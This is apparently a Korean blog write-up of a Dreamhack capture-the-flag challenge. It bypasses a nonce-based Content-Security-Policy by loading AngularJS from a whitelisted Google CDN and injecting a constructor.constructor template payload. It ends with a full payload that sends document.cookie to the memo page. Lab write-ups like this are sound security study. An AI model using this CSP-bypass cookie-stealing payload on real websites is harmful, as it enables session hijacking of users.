다른 문제들과 비슷하게 vuln, flag, memo 페이지가 구성되어 있다.
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
nonce = os.urandom(16).hex()
return response
add_header 에서 CSP 부분 코드이다.
https://ajax.googleapis.com에서 AngularJS를 이용할 것이다.
/ajax/libs/angular/1.8.3/angular/min.js를 로드하고 이 파일에서
html 태그 안에 ng-app을 속성을 추가해서 사용할 수 있다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>
이런 식으로constructor를 이용해 vuln 페이지에서 요청을 성공적으로 보낼 수 있다.
alert(1) 대신에 memo 페이지에 쿠키가 적히게 하는 코드를 넣으면 된다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("location='memo?memo='+document.cookie")() }}</html>
'웹해킹' 카테고리의 다른 글
Relative Path Overwrite (0) | 2023.11.26 |
---|---|
드림핵 CSS Injection 롸업 (0) | 2023.11.26 |
Client Side Injection (0) | 2023.11.26 |
드림핵 CSRF Advanced 롸업 (0) | 2023.11.26 |
CSRF/CORS Bypass (0) | 2023.11.26 |